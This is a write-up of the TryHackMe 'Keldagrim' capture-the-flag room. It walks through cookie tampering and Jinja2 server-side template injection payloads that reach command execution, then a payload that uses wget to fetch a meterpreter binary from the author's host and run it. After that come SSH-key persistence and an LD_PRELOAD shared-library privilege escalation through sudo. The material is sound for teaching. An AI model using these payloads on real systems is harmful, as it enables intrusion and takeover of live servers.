TryHackMe: Keldagrim The dwarves are hiding their gold! Created by optional
Enumeration
You know the drill, add the box to our /etc/hosts
then run trusty ol' rustscan
against it.
╰─⠠⠵ rustscan -a forge --ulimit 10000 -- -sC -sV -A -oA forge
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.36.223:22
Open 10.10.36.223:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-31 13:05 GMT
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d8:23:24:3c:6e:3f:5b:b0:ec:42:e4:ce:71:2f:1e:52 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ElGI0HLd8mhCV1HC0Mdnml4FZPMr17SrcABm6GMKV0g5e4wQNtSPAvXhGj696aoKgVX1jDbe4DzDGr3jDkLjXegnpqQyVQnSYV7Cz9pON4b9cplT/OPK/7cd96E7tKFsZ3F+eOM51Vm6KeYUbZG0DnHZIB7kmPAH+ongqQmpG8Of/wXNgR4ONc6dD/lTYWCgWeCEYT0ERlErkqM05mO9DwV+7Lr+AZhAZ8afx+NSpV17gBZzjmqT4my3zMAf3Ne0VY/exvb807YKiHmPPaieE8KxjfRjcsHGsMuYesDm3m0cUvGSdp2xfu8J5dOSNJc5cVse6RBTPmPu4giRtm+v
| 256 c6:75:e5:10:b4:0a:51:83:3e:55:b4:f6:03:b5:0b:7a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBETP4uMiwXXjEW/UWp1IE/XvhxASBN753PiuZmLz6QiSZE3y5sIHpMtXA3Sss4bZh4DR3hoP3OhXgJmjCJaSS4=
| 256 4c:51:80:db:31:4c:6a:be:bf:9b:48:b5:d4:d6:ff:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJVgfo2NhVXDfelQtZw0p6JWJLPk2/1NF3KRImlYIIul
80/tcp open http syn-ack Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-cookie-flags:
| /:
| session:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds
Open Ports
22/ssh
As we do not have a username/password we will skip this for now
80/http
From the above http-server-header: Werkzeug/1.0.1 Python/3.6.9
we can see that this is Python Application Server. Looking around there is not that much I can spot from first glance apart form a disabled /admin
link.
User.txt
Ok, so first thing I am going to target is the /admin
from above. Hitting the /admin
endpoint does not seem to do much... Hmm let's take a look at our cookies....
Hmm.... that looks like base64
╰─⠠⠵ echo "Z3Vlc3Q=" | base64 -d
guest%
Ok, lets encode admin
and overwrite our cookie
╰─⠠⠵ echo -n admin | base64
YWRtaW4=
We now have a sales
cookie which is again base64
encoded.
╰─⠠⠵ echo -n JDIsMTY1 | base64 -d
$2,165%
Now if we look at /admin
we have Current user - $2,165
If we change the value to another base64
string we can see that on refresh the page displays what we put... this could be our way in!
Trying a few things it appears to only decode and print the input..... Ok when I do some research on that lets kick off gobuster
╰─⠠⠵ gobuster dir -u http://forge/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,py,sql,db,sqlite,dblite,tar.tar.gz,tgz,gz,txt,bak,zip,html,csv,xls,xlsx
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://forge/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: tgz,bak,xls,gz,zip,xlsx,db,sqlite,tar.tar.gz,csv,php,dblite,txt,py,sql,html
[+] Timeout: 10s
===============================================================
2021/01/31 13:52:21 Starting gobuster
===============================================================
gobuster
didn't come back with anything interesting but after googling around I ended up at https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee ... Using CyberChef I URL Encoded
and Base64
Encode the payload {{ config.items() }}
and placed it in the sales
cookie.
JTdCJTdCJTIwY29uZmlnJTJFaXRlbXMlMjglMjklMjAlN0QlN0QlMjc=
Ok, we have gotten further but now need to get RCE from this. Now we inject {{ config.from_object('os') }}
followed by the above {{ config_items() }}
again.
JTdCJTdCJTIwY29uZmlnJTJFZnJvbSU1Rm9iamVjdCUyOCUyN29zJTI3JTI5JTIwJTdEJTdE
Current user - None
JTdCJTdCJTIwY29uZmlnJTJFaXRlbXMlMjglMjklMjAlN0QlN0QlMjc=
Now we have more output... Next we inject {{ ''.__class__.__mro__[1].__subclasses__() }}
JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU3RCU3RA==
Now inject {{''.__class__.__mro__[1].__subclasses__()[284:]}}
JTdCJTdCJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSU1QjI4NCUzQSU1RCU3RCU3RA==
ANd search for subproccess.Popen
adjust 284
above until you find the index of of subproccess.Poen
( in my case 401 ) we can then use the below to execute our commands
{{ ‘’.__class__.__mro__[1].__subclasses__() [401](‘ls’,shell=True,stdout=-1).communicate()}}
JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU1QjQwMSU1RCUyOCUyN2xzJTI3JTJDc2hlbGwlM0RUcnVlJTJDc3Rkb3V0JTNEJTJEMSUyOSUyRWNvbW11bmljYXRlJTI4JTI5JTdEJTdEJTBB
We can then use the above to cat
our user.txt
{{ ''.__class__.__mro__[1].__subclasses__() [401]('cat user.txt',shell=True,stdout=-1).communicate()}}
{{ ''.__class__.__mro__[1].__subclasses__() [401]('cat user.txt',shell=True,stdout=-1).communicate()}}
Root.txt
Now we have the user.txt
and RCE let's see if we get a shell to call back to us. I tried my usual bash
rshell but didn't appear to work so I created a msfvenom
reverse meterpreter
binary and used wget
to download it.
{{ ''.__class__.__mro__[1].__subclasses__() [401]('wget http://10.9.5.198:8080/shell444; chmod +x shell444; ./shell444',shell=True,stdout=-1).communicate()}}
JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU1QjQwMSU1RCUyOCUyN3dnZXQlMjBodHRwJTNBJTJGJTJGMTAlMkU5JTJFNSUyRTE5OCUzQTgwODAlMkZzaGVsbDQ0NCUzQiUyMGNobW9kJTIwJTJCeCUyMHNoZWxsNDQ0JTNCJTIwJTJFJTJGc2hlbGw0NDQlMjclMkNzaGVsbCUzRFRydWUlMkNzdGRvdXQlM0QlMkQxJTI5JTJFY29tbXVuaWNhdGUlMjglMjklN0QlN0QlMEE=
This then called back to metasploit and I had a shell as jed
.
[*] Meterpreter session 1 opened (10.9.5.198:4444 -> 10.10.89.31:56912) at 2021-01-31 15:59:45 +0000
meterpreter > shell
Process 1682 created.
Channel 1 created.
ls
app
shell444
user.txt
python3 -c 'import pty;pty.spawn("/bin/bash")'
jed@keldagrim:~$
jed@keldagrim:~$
I then setup persistence by adding my ssh key
to /home/jed/.ssh/authorized_keys
. I then used ssh
to connect as jed
to get a decent shell. Once logged in I run the usual sudo -l
to check what we can do.
Matching Defaults entries for jed on keldagrim:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_PRELOAD
User jed may run the following commands on keldagrim:
(ALL : ALL) NOPASSWD: /bin/ps
Checking GTFOBins it does not look like ps
has any exploits. So let's grab and run linpeas.sh
to see what we can find...
Looking through the output I realized I should have looked closer at the sudo -l
output.
Doing some research on this it looks like we can inject our own libraries. Using the guide here I changed into /tmp
and created a new file with the following contents
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
I then used the gcc
installed to build the library file
jed@keldagrim:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
shell.c: In function ‘_init’:
shell.c:6:1: warning: implicit declaration of function ‘setgid’; did you mean ‘setenv’? [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
setenv
shell.c:7:1: warning: implicit declaration of function ‘setuid’; did you mean ‘setenv’? [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
setenv
Once built we can execute sudo
using LD_PRELOAD
to get a root
shell.
jed@keldagrim:/tmp$ sudo LD_PRELOAD=/tmp/shell.so ps
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
thm{[REDACTED]}
#
Boom!!!
Another box done, thanks to @optionalctf for putting the room together, it was frustrating but enjoyable and learned some stuff about SSTI :) .
Also thank you to @kimschulz for confirming I was going the right track.